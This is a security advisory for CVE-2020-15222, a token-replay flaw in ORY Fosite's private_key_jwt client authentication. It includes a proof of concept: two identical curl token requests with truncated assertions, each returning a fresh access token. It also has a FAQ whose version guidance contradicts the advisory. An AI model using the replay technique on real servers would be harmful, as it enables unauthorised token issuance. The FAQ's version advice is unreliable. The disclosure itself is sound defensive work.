CVE-2020-15222: Replay of private_key_jwt possible in ORY Fosite
Impact
When using client authentication method "privatekeyjwt" [[1]](https://openid.net/specs/openid-connect-core-10.html#ClientAuthentication), OpenId specification says the following about assertion jti:
A unique identifier for the token, which can be used to prevent reuse of the token. These tokens MUST only be used once, unless conditions for reuse were negotiated between the parties
Hydra does not seem to check the uniqueness of this jti value. Here is me sending the same token request twice, hence with the same jti assertion, and getting two access tokens:
$ curl --insecure --location --request POST 'https://localhost//oauth2/token' \ --header 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'granttype=clientcredentials' \ --data-urlencode 'clientid=c001d00d-5ecc-beef-ca4e-b00b1e54a111' \ --data-urlencode 'scope=application openid' \ --data-urlencode 'clientassertiontype=urn:ietf:params:oauth:client-assertion-type:jwt-bearer' \ --data-urlencode 'clientassertion=eyJhb [...] jTw' {"accesstoken":"zeG0NoqOtlACl8q5J6A-TIsNegQRRUzqLZaYrQtoBZQ.VR6iUcJQYp3uj7pwvL7YtPqGhtyQe5OhnBE2KCp5pM","expiresin":3599,"scope":"application openid","tokentype":"bearer"}⏎ $ curl --insecure --location --request POST 'https://localhost//oauth2/token' \ --header 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'granttype=clientcredentials' \ --data-urlencode 'clientid=c001d00d-5ecc-beef-ca4e-b00b1e54a111' \ --data-urlencode 'scope=application openid' \ --data-urlencode 'clientassertiontype=urn:ietf:params:oauth:client-assertion-type:jwt-bearer' \ --data-urlencode 'clientassertion=eyJhb [...] jTw' {"accesstoken":"wOYtgCLxLXlELORrwZlmeiqqMQ4kRzV-STU2Sollas.mwlQGCZWXN7G2IoegUe1P0Vw5iGoKrkOzOaplhMSjm4","expiresin":3599,"scope":"application openid","tokentype":"bearer"}
Patches
This issue is patched in 0.31.0.
Workarounds
Do not allow clients to use privatekeyjwt.
References
https://openid.net/specs/openid-connect-core-10.html#ClientAuthentication
Other sources
In ORY Fosite (the security first OAuth2 & OpenID Connect framework for Go) before version 0.31.0, when using "privatekeyjwt" authentication the uniqueness of the jti value is not checked. When using client authentication method "privatekeyjwt", OpenId specification says the following about assertion jti: "A unique identifier for the token, which can be used to prevent reuse of the token. These tokens MUST only be used once, unless conditions for reuse were negotiated between the parties". Hydra does not seem to check the uniqueness of this jti value. This problem is fixed in version 0.31.0.
Affected Software
Remediation
Event History
Frequently Asked Questions
What is the severity of CVE-2020-15222?
CVE-2020-15222 has a severity rating that may vary based on the environment, but it is generally considered to have moderate impact due to potential issues with token uniqueness in client authentication.
How do I fix CVE-2020-15222?
To fix CVE-2020-15222, upgrade the ORY Fosite package to a version greater than 0.31.0.
What systems are affected by CVE-2020-15222?
CVE-2020-15222 affects versions of the ORY Fosite package up to 0.31.0.
What type of vulnerability is CVE-2020-15222?
CVE-2020-15222 is an authentication vulnerability related to the 'private_key_jwt' client authentication method.
What is the potential impact of CVE-2020-15222?
The potential impact of CVE-2020-15222 includes the risk of token replay attacks due to non-unique token identifiers.